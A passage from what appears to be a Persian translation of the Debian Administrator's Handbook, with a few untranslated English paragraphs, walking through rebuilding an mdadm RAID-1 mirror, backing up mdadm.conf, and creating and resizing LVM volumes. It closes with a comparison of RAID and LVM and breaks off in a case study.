# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: [...] Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Tue Jun 25 11:09:42 2019 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 27% complete Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 26 Number Major Minor RaidDevice State 2 8 96 0 spare rebuilding /dev/sdf 1 8 80 1 active sync /dev/sdd2 0 8 64 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: [...] Update Time : Tue Jun 25 11:10:47 2019 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 39 Number Major Minor RaidDevice State 2 8 96 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sdf 0 8 64 - faulty /dev/sde

در اینجا نیز، کرنل به صورت خودکار فاز بازسازی آرایه را آغاز می‌کند که طی آن با وجود قابل دسترس بودن، آرایه در یک حالت ناپایدار قرار دارد. زمانی که بازسازی تمام شود، آرایه RAID به حالت عادی خود باز می‌گردد. به منظور سازگاری با حالت کلاسیک RAID که از دو دیسک برای mirror استفاده می‌کند، می‌توان دیسک sde را حذف کرد؛

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 2 8 96 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sdf

از این لحظه، درایو می‌تواند در زمان خاموش شدن سرور یا در صورت پشتیبانی سخت‌افزاری از how-swap به صورت دستی جدا گردد. چنین پیکربندی شامل برخی کنترلرهای SCSI، اغلب دیسک‌های SATA و درایوهای خارجی که روی USB یا Firewire است.

12.1.1.3. پشتیبان‌گیری از پیکربندی

اکثر اطلاعات جانبی درباره آرایه‌های RAID به صورت مستقیم روی همین دیسک‌ها ذخیره‌سازی می‌شود، تا کرنل در زمان راه‌اندازی اولیه سیستم بتواند به صورت خودکار اجزای آرایه را تشکیل داده و آن را تنظیم کند. با این حال، پشتیبان‌گیری از این پیکربندی توصیه می‌شود چرا که این فرآیند تشخیص اولیه خالی از خطا نیست و تنها انتظار می‌رود که در موارد بسیار معدود دچار نقص گردد. در مثال ما، اگر نقص دیسک sde واقعی (در مقابل شبیه‌سازی شده) باشد و سیستم بدون حذف sde راه‌اندازی مجدد گردد، این دیسک ممکن است به فعالیت خود پس از عملیات تشخیص اولیه ادامه دهد. کرنل شامل سه دیسک فیزیکی است که هر کدام ادعا می‌کنند نصف فضای RAID را در اختیار دارند. حالت مبهم دیگر ترکیب آرایه‌های RAID از دو سرور مختلف در قالب یک سرور است. اگر این آرایه‌ها قبل از انتقال دیسک‌ها درست کار کنند، کرنل قادر خواهد بود که اجزای آن را شناسایی و پیکربندی کند؛ اما اگر دیسک‌های انتقال یافته درون آرایه md1 از سرور قدیم قرار بگیرند، در صورتی که سرور جدید آرایه md1 داشته باشد، یکی از mirrorها نامگذاری مجدد خواهد شد.

از این رو، پشتیبان‌گیری از فایل پیکربندی اهمیت می‌یابد. شیوه استاندارد اینکار ویرایش فایل /etc/mdadm/mdadm.conf است که مثالی از آن را در ادامه مشاهده می‌کنید:

مثال 12.1. فایل پیکربندیmdadm

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # auto-create devices with Debian standard permissions CREATE owner=root group=disk mode=0660 auto=yes # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7 ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c # This configuration was auto-generated on Tue, 25 Jun 2019 07:54:35 -0400 by mkconf

یکی از جزئیات کاربری آن گزینه DEVICE است، که دستگاه‌های مورد نیاز برای جستجوی خودکار اجزای آرایه‌های RAID در سیستم را مشخص می‌کند. در مثال ما، ما گزینه پیشفرض partitions containers را با فهرستی از دستگاه‌ها جایگزین کردیم چرا که قصد استفاده از تمام دیسک و نه قسمت‌هایی از پارتیشن آن را برای برخی آرایه‌ها داشتیم.

دو خط آخر در مثال ما به کرنل اجازه می‌دهند که با استفاده از شماره آرایه عملیات تشخیص و راه‌اندازی آن‌ها را انجام دهد. اطلاعات جانبی ذخیره شده روی دیسک برای جمع‌آوری آرایه‌ها کافی است، ولی نه برای تشخیص شماره آن‌ها (و نام دستگاه /dev/md* منطبق با آن).

خوشبختانه، این خطوط به صورت خودکار تولید می‌شوند:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7 ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

محتوای این دو خط آخر وابسته به تعداد دیسک‌های استفاده شده در آرایه نیست. پس هنگام جایگزینی یک دیسک معیوب با جدید نیازی به تولید مجدد این خطوط نیست. از طرف دیگر، در زمان ایجاد یا حذف یک آرایه RAID، این فایل باید بروزرسانی گردد.

12.1.2. LVM

LVM که مخفف Logical Volume Manager است، روشی دیگر برای انتزاع دستگاه‌های منطقی از نمونه‌های فیزیکی است که بجای قابلیت اعتماد روی افزایش انعطاف‌پذیری تمرکز دارد. LVM امکان تغییر یک دستگاه منطقی را به شیوه‌ای شفاف برای برنامه‌های کاربردی آن بوجود می‌آورد؛ برای نمونه، امکان افزودن دیسک‌های جدید، مهاجرت داده به آن‌ها و حذف دیسک‌های قدیمی بدون قطع اتصال دستگاه مجازی وجود دارد.

12.1.2.1. مفاهیم LVM

این انعطاف‌پذیری از طریق یک سطح انتزاعی همراه با سه مفهوم بدست می‌آید.

اول، PV یا Physical Volume نزدیک‌ترین موجودیت به سخت‌افزار است: می‌تواند پارتیشن‌های روی یک دیسک، یک دیسک کامل یا حتی سایر دستگاه‌های بلاک-محور (از جمله یک آرایه RAID) باشد. به یاد داشته باشید زمانی که یک عنصر فیزیکی به عنوان PV برای LVM تنظیم می‌شود، تنها باید توسط LVM قابل دسترس باشد در غیر اینصورت سیستم دچار سردرگمی می‌گردد.

A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev hierarchy, so there is no risk of using them directly.

سومین مفهوم نیز LV یا Logical Volume نام دارد، که تکه‌ای از یک VG به حساب می‌آید؛ اگر VG را با یک دیسک مقایسه کنیم، LV مانند یک پارتیشن خواهد بود. LV به عنوان یک دستگاه بلاک-محور همراه با مدخلی در /dev ظاهر می‌شود، که می‌تواند به عنوان هر پارتیشن فیزیکی دیگر مورد استفاده قرار گیرد (بیشتر در مورد یک فایل سیستم میزبان یا فضای swap).

نکته مهم در تقسیم یک VG به LV این است که کاملا مستقل از اجزای فیزیکی آن (PV) انجام می‌شود. یک VG تنها با یک قسمت فیزیکی (مانند یک دیسک) می‌تواند به چندین دستگاه منطقی تقسیم شود؛ به طور مشابه، یک VG با چندین دیسک فیزیکی می‌تواند به عنوان یک دستگاه منطقی بزرگ ظاهر شود. تنها محدودیت مشخص این است که اندازه کل اختصاص یافته به LVها نمی‌تواند بیشتر از مجموع اندازه PVها در گروه دستگاه‌ها باشد.

اغلب منطقی است که به منظور داشتن همگنی بین اجزای فیزیکی یک VG، آن را به دستگاه‌های مجازی تقسیم کرد که الگوهای مشابهی در کارکرد داشته باشند. برای نمونه، اگر سخت‌افزار موجود شامل دیسک‌های سریع و کند باشد، دیسک‌های سریع می‌توانند درون یک VG و دیسک‌های کند درون دیگری قرار گیرند؛ تکه‌های اولی می‌توانند به برنامه‌هایی اختصاص یابند که نیازمند دسترسی سریع به دیسک هستند، در صورتی که از دومی برای سایر وظایف متداول دیسک استفاده می‌شود.

در هر صورت، به خاطر بسپارید که یک LV به طور مشخص به هیچ PV متصل نیست. امکان تاثیرگذاری روی جایی که داده از یک LV به صورت فیزیکی می‌آید وجود دارد، اما این امکان برای کاربردهای روزانه الزامی نیست. از طرف دیگر، زمانی که مجموعه فیزیکی از اجزای یک VG گسترش می‌یابند، مکان ذخیره‌سازی فیزیکی منطبق با یک LV می‌توانند بین چند دیسک مهاجرت کنند (به صورتی که درون PVهای اختصاص‌یافته به VG قرار داشته باشند).

12.1.2.2. برپایی LVM

بیایید فرآیند گام به گام برپایی LVM برای یک کاربرد متداول را دنبال کنیم: می‌خواهیم یک موقعیت ذخیره‌سازی پیچیده را ساده کنیم. چنین موقعیتی معمولا با گذشت زمان و گره خوردن مقیاس‌های موقتی انباشتگی صورت می‌گیرد. برای این منظور، سروری را در نظر می‌گیریم که نیازهای ذخیره‌سازی آن طی زمان تغییر کرده است که پارتیشن‌های موجود آن بین چندین دیسک فیزیکی مختلف به مانند یک مسیر مارپیچ قرار گرفته‌اند. به عبارت دیگر، پارتیشن‌های زیر موجود هستند:

درون دیسک sdb،‌ یک پارتیشن ۴ گیگابایت به نام sdb2؛

درون دیسک sdc،‌ یک پارتیشن ۳ گیگابایت به نام sdc3؛

دیسک sdd،‌ با ظرفیت ۴ گیگابایت کاملا موجود؛

درون دیسک sdf،‌ یک پارتیشن ۴ گیگابایت به نام sdf1 و یک پارتیشن ۵ گیگابایت به نام sdf2.

علاوه بر این، تصور می‌کنیم که دیسک‌های sdb و sdf سریع‌تر از دو دیسک دیگر هستند.

هدف ما برپایی یه دستگاه منطقی برای سه برنامه مختلف است: یک سرور فایل که به ۵ گیگابایت فضای ذخیره‌سازی نیاز دارد، یک پایگاه‌داده (۱ گیگابایت) و فضایی برای پشتیبان‌گیری (۱۲ گیگابایت). دوتای اول به عملکرد بالا نیاز دارند اما پشتیبان‌گیری چنین حساسیتی در دسترسی سریع ندارد. تمام این محدودیت‌ها از استفاده پارتیشن‌ها به صورت مستقیم جلوگیری می‌کنند؛ استفاده از LVM می‌تواند اندازه فیزیکی از دستگاه‌ها را انتزاعی کند، که تنها محدودیت آن مجموع فضای ذخیره‌سازی است.

ابزارهای مورد نیاز در بسته lvm2 و وابستگی‌های آن قرار دارند. زمانی که نصب شوند، برپایی LVM شامل سه گام می‌شود که با سه سطح از مفاهیم آن مرتبط است.

ابتدا دستگاه‌های فیزیکی را با استفاده از pvcreate آماده‌سازی می‌کنیم:

# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID z4Clgk-T5a4-C27o-1P0E-lIAF-OeUM-e7EMwq # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- <5.00g <5.00g

تا اینجا مشکلی نیست؛ به یاد داشته باشید که یک PV می‌تواند روی یک دیسک کامل یا پارتیشن‌های انفرادی ایجاد گردد. دستور pvdisplay فهرستی از PVها را با دو قالب خروجی ممکن نمایش می‌دهد.

اکنون بیایید این عناصر فیزیکی را با استفاده از vgcreate درون VG قرار دهیم. PV دیسک‌های سریع را درون VG به نام vg_critical و دیسک‌های کند را درون VG به نام vg_normal قرار می‌دهیم.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID wAbBjx-d82B-q7St-0KFf-z40h-w5Mh-uAXkNZ # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

در اینجا نیز دستورات واضح هستند و vgdisplay شامل دو قالب خروجی است. به یاد داشته باشید که امکان استفاده از دو پارتیشن یک دیسک فیزیکی درون دو VG مختلف وجود دارد. ما از یک پیشوند vg_ برای نامگذاری VGها استفاده کردیم، اما چیزی بیشتر از رعایت یک استاندارد نیست.

We now have two “virtual disks”, sized about 8 GB and 12 GB respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID W6XT08-iBBx-Nrw2-f8F2-r2y4-Ltds-UrKogV LV Write Access read/write LV Creation host, time debian, 2019-11-30 22:45:46 -0500 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a--- 1.00g lv_files vg_critical -wi-a--- 5.00g lv_backups vg_normal -wi-a--- 11.98g

برای ایجاد دستگاه‌های منطقی دو پارامتر مورد نیاز است؛ که باید به صورت گزینه‌ها به lvcreate ارسال گردند. نام LV که قصد ایجاد آن را داریم با گزینه -n و اندازه آن با گزینه -L مشخص می‌شود. البته، به دستور باید اعلام کنیم که از کدام VG می‌خواهیم استفاده شود.

مطالعه بیشتر گزینه‌های lvcreate

دستور lvcreate شامل چندین گزینه است که چگونگی ایجاد LV را مشخص می‌کند.

ابتدا بیایید گزینه -l را توضیح دهیم، که با استفاده از آن اندازه LV می‌تواند به عنوان تعداد بلاک‌ها در مقایسه با واحدهای “انسانی” که در بالا استفاده کردیم مشخص گردد. این بلاک‌ها که به نام PE یا physical extents در زبان LVM مطرح می‌شوند، واحدهای پیوسته از فضای ذخیره‌سازی در PVها می‌باشند که نمی‌توان آن‌ها را بین LVها تقسیم کرد. زمانی که می‌خواهیم یک فضای ذخیره‌سازی با دقت بالا را برای یک LV تعریف کنیم، برای نمونه استفاده از فضای کامل، استفاده از گزینه -l بر -L اولویت پیدا می‌کند.

It is also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that sdb is faster than sdf, we may want to store the lv_base there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to create lv_base before lv_files to avoid this situation – or free up some space on sdb2 with the pvmove command.

گروه‌های مجازی، زمانی که ایجاد گردند، به عنوان فایل‌های دستگاه درون /dev/mapper/ قرار می‌گیرند:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Jun 10 16:52 control lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

NOTE Auto-detecting LVM volumes

زمانی که رایانه راه‌اندازی می‌شود واحد سرویس systemd به نام lvm2-activation به اجرای vgchange -aay می‌پردازد که اینکار گروه‌های مجازی را “فعال” می‌کند: ابتدا به پویش دستگاه‌های موجود می‌پردازد؛ آن‌هایی که توسط گروه‌های فیزیکی برای LVM آماده‌سازی شده‌اند درون زیرسیستم آن قرار می‌گیرند، آن‌هایی که متعلق به گروه‌های مجازی باشند گردآوری شده و گروه‌های مجازی آن أغاز و قابل استفاده می‌گردند. بنابراین هنگام ایجاد یا تغییر گروه‌های LVM نیازی به ویرایش فایل‌های پیکربندی نیست.

با این حال، به یاد داشته باشید که ساختار عناصر LVM (گروه‌های فیزیکی و منطقی همراه با گروه‌های دستگاه) در /etc/lvm/backup پشتیبان‌گیری می‌شوند، که می‌تواند در زمان بروز مشکل (یا اطلاع از عملکرد آن) مورد استفاده قرار گیرد.

برای ساده‌تر کردن کارها، پیوندهای نمادین متعارف نیز در دایرکتوری‌های شامل VGها ایجاد شده است:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

سپس LVها می‌توانند مانند پارتیشن‌های استاندارد مورد استفاده قرار گیرند:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.44.5 (15-Dec-2018) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: b9e6ed2f-cb37-43e9-87d8-e77568446225 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 41M 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

از دید برنامه‌های کاربردی، تعداد بیشمار پارتیشن‌ها اکنون به یک دستگاه بزرگ ۱۲ گیگابایت تبدیل شده است که نام راحت‌تری نیز دارد.

12.1.2.3. LVM در گذر زمان

با اینکه توانایی گردآوری پارتیشن‌‌ها یا دیسک‌های فیزیکی بسیار متداول است، این تنها مزیت استفاده از LVM نیست. انعطاف‌پذیری آن در گذر زمان و تغییر رویکرد ذخیره‌سازی، مشخص می‌شود. در مثال ما، تصور کنیم که فایل‌های بزرگ جدیدی قرار است درون سرور فایل قرار گیرند که LV اختصاص‌یافته به آن گنجایش کافی را ندارد. از آنجا که از تمام فضای vg_critical استفاده نکرده‌ایم، می‌توانیم lv_files را گسترش دهیم. برای این منظور، با استفاده از دستور lvresize و resize2fs برای سازگاری فایل سیستم اینکار صورت می‌گیرد:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao-- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.44.5 (15-Dec-2018) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

احتیاط تغییر اندازه فایل سیستم‌ها

Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It is rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).

فایل سیستم‌های ext3، ext4 و zfs بدون نیاز به قطع اتصال می‌توانند افزایش یابند؛ کاهش اندازه نیازمند قطع اتصال است. فایل سیستم reiserfs امکان تغییر اندازه آنلاین را در دو جهت فراهم می‌سازد. ext2 مقدس، اما نیازمند قطع اتصال در دو جهت است.

برای توسعه گروهی که از پایگاه‌داده میزبانی می‌کند نیز به همین ترتیب می‌توان اقدام کرد، با این تفاوت که به انتهای فضای ذخیره‌سازی موجود VG رسیدیم:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 976M 882M 28M 97% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

ایرادی ندارد، چرا که LVM امکان افزودن گروه‌های فیزیکی را به گروه‌های دستگاه موجود فراهم می‌سازد. برای نمونه، شاید متوجه شده‌ایم پارتیشن sdb1، که خارج از LVM استفاده می‌شود، تنها شامل بایگانی‌هایی است که می‌تواند به lv_backups انتقال یابد. اکنون می‌توانیم آن را بازیابی کرده و درون گروه مجازی قرار دهیم، در نتیجه برخی فضای موجود را احیا می‌کنیم. اینکار با استفاده از دستور vgextend صورت می‌گیرد. البته که پارتیشن ابتدا باید به صورت یک گروه فیزیکی آماده شود. زمانی که VG گسترش یافت، از دستورات مشابه می‌توانیم برای افزایش اندازه گروه مجازی و فایل سیستم استفاده کنیم:

# pvcreate /dev/sdb1 Physical volume "/dev/sdb1" successfully created. # vgextend vg_critical /dev/sdb1 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <9.99g <1.99g # [...] [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 882M 994M 48% /srv/base

مطالعه بیشتر LVM پیشرفته

LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance, to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.

12.1.3. RAID یا LVM؟

RAID و LVM بدون تردید دارای مزایایی هستند که در صورت کنار گذاشتن فرضیه یک رایانه رومیزی همراه با یک هارد دیسک که کارکرد آن در طول زمان تغییر نمی‌کند، مشخص می‌شوند. اگرچه، RAID و LVM در دو جهت مختلف حرکت می‌کنند و اهداف متفاوتی نیز دارند، که گاهی تصمیم‌گیری درباره استفاده صحیح از آن‌ها را دشوار می‌سازد. مناسب‌ترین پاسخ بستگی به نیازمندی‌های فعلی و قابل پیشبینی سیستم در آینده دارد.

موارد ساده‌ای وجود دارد که پرسشی درباره آن‌ها مطرح نمی‌شود. اگر نیازمندی این باشد که داده برابر نقص سخت‌افزاری محافظت گردد، به طور مشخص باید از RAID به صورت آرایه‌ای از دیسک‌ها استفاده کرد، چرا که LVM درباره این مشکل راهکاری ندارد. از طرف دیگر، اگر نیازمندی این باشد که یک طرح ذخیره‌سازی انعطاف‌پذیر از گروه‌های مستقل ساختار فیزیکی دیسک‌ها تشکیل گردد، به طور مشخص باید از LVM استفاده کرد چرا که RAID درباره این مشکل راهکاری ندارد.

یادداشت اگر عملکرد مهم باشد...

اگر سرعت ورودی/خروجی مطرح باشد، به خصوص در مورد زمان دسترسی، استفاده از LVM و/یا RAID با یکی از ترکیبات موجود ممکن است روی عملکرد تاثیر منفی بگذارد، که اینکار روی تصمیم‌گیری درباره انتخاب هر کدام اثر می‌گذارد. اگرچه، این تفاوت‌ها در عملکرد بسیار ناچیز بوده و تنها در چند مورد خاص قابل اندازه‌گیری می‌باشند. اگر عملکرد مهم باشد، بهترین گزینه استفاده از رسانه ذخیره‌سازی غیرقابل-چرخش است (solid-state drives یا SSD)؛ هزینه آن‌ها برای هر مگابایت از دیسک‌ها معمولی بالاتر و ظرفیت کمتری نسبت به آن‌ها دارند، اما عملکرد فوق‌العاده‌ای درباره دسترسی تصادفی به حافظه دارند. اگر الگوی کارکرد شامل عملیات ورودی/خروجی باشد که در میان فایل سیستم پراکنده شده است، برای نمونه پرس و جوهای پیچیده پایگاه‌داده، آنگاه مزیت اجرای آن‌ها روی SSD به مراتب بیشتر از استفاده LVM یا RAID می‌تواند باشد. در این مواقع، انتخاب باید توسط سایر نیازمندی‌ها بجز سرعت صورت بگیرد، چرا که جنبه عملکرد آن به راحتی توسط SSD مدیریت می‌شود.

سومین کارکرد قابل ذکر زمانی است که بخواهیم دو دیسک را در یک گروه بزرگ‌تر قرار دهیم، خواه به دلایل عملکرد یا داشتن یک فایل سیستم بزرگ‌تر از فضای هر کدام از دیسک‌ها). اینکار با استفاده از یک RAID-0 (یا حتی RAID خطی) و گروه LVM انجام می‌شود. در این موقعیت، بجز محدودیت‌های خارجی (برای نمونه، در چارچوب سایر رایانه‌ها بودن اگر آن‌ها نیز تنها از RAID استفاده کنند)، پیکربندی مورد نظر معمولا LVM خواهد بود. راه‌اندازی اولیه به ندرت پیچیده‌تر خواهد بود و این افزایش پیچیدگی در صورت تغییر نیازمندی‌ها یا افزودن دیسک‌ها جدید قابلیت انعطاف‌پذیری بیشتری را فراهم می‌آورد.

البته یک مورد بسیار جالب نیز وجود دارد، که سیستم ذخیره‌سازی هم باید برابر نقص سخت‌افزاری مقاوم هم انعطاف‌پذیری لازم درباره اختصاص گروه‌های مختلف را داشته باشد. هیچ یک از راهکارهای RAID یا LVM به تنهایی نمی‌توانند این نیازمندی را پوشش دهند؛ اینجا است که از هر دو به صورت همزمان استفاده می‌کنیم - یا یکی بر فراز دیگری. طرح کلی در این مورد و با توجه به اینکه این دو فناوری به بلوغ رسیده‌اند این است که ابتدا با گروه‌بندی دیسک‌ها در تعداد آرایه‌های کوچک RAID از افزونگی داده اطمینان حاصل کرد سپس از این آرایه‌ها برای گروه‌های فیزیکی LVM استفاده کنیم؛ پارتیشن‌های منطقی از این LVها برای فایل سیستم بوجود می‌آیند. نتیجه این تنظیم این است که هنگامی که یک دیسک دچار نقص می‌گردد، تنها تعداد کمی از آرایه‌های RAID نیازمند بازسازی هستند، که اینکار زمان سپری شده توسط مدیر سیستم برای بازیابی را کاهش می‌دهد.

بیایید یک مثال واقعی را بررسی کنیم: دپارتمان روابط عمومی در شرکت فالکوت نیازمند یک سیستم برای ویرایش تصویر است، اما هزینه‌های دپارتمان اجازه سرمایه‌گذاری در سخت‌افزارهای گران قیمت را نمی‌دهد. تصمیم گرفته شد که از سخت‌افزار مربوط به کار گرافیکی (مانیتور و کارت گرافیک) و از سخت‌افزار متداول تنها برای ذخیره‌سازی اطلاعات استفاده شود. اگرچه، همانطور که مشخص است، ویدیو دیجیتال نیازمندی ذخیره‌سازی مربوط به خود را دارد: حجم داده قابل ذخیره‌سازی زیاد است، پس نرخ تبادل داده برای خواندن و نوشتن در عملکرد کلی سیستم تاثیرگذار خواهد بود (برای نمونه، بیش از زمان دسترسی متداول). این محدودیت‌ها باید با سخت‌افزار عمومی موجود برطرف گردند که در این مورد دو هارد دیسک ۳۰۰ گیگابایت از نوع SATA می‌باشند؛ داده سیستمی همراه با داده کاربری باید برابر نقص‌های سخت‌افزاری نیز مقاوم گردند. ویدیو کلیپ‌های ویرایش شده باید از امنیت واقعی برخوردار بوده، اما ویدیوهای اولیه که منتظر ویرایش هستند از اهمیت کمتری برخوردارند، چرا که نسخه اصلی آن‌ها روی نوارهای ویدیویی موجود است.

از RAID-1 و LVM به صورت ترکیبی برای رفع این محدودیت‌ها استفاده شده است. دیسک‌ها به دو کنترلر مختلف SATA به منظور بهینه‌سازی دسترسی موازی و کاهش خطر نقص همزمان متصل شده‌اند که به عنوان sda و sdc ظاهر می‌شوند. آن‌ها با توجه به طرح زیر پارتیشن‌بندی شده‌اند:

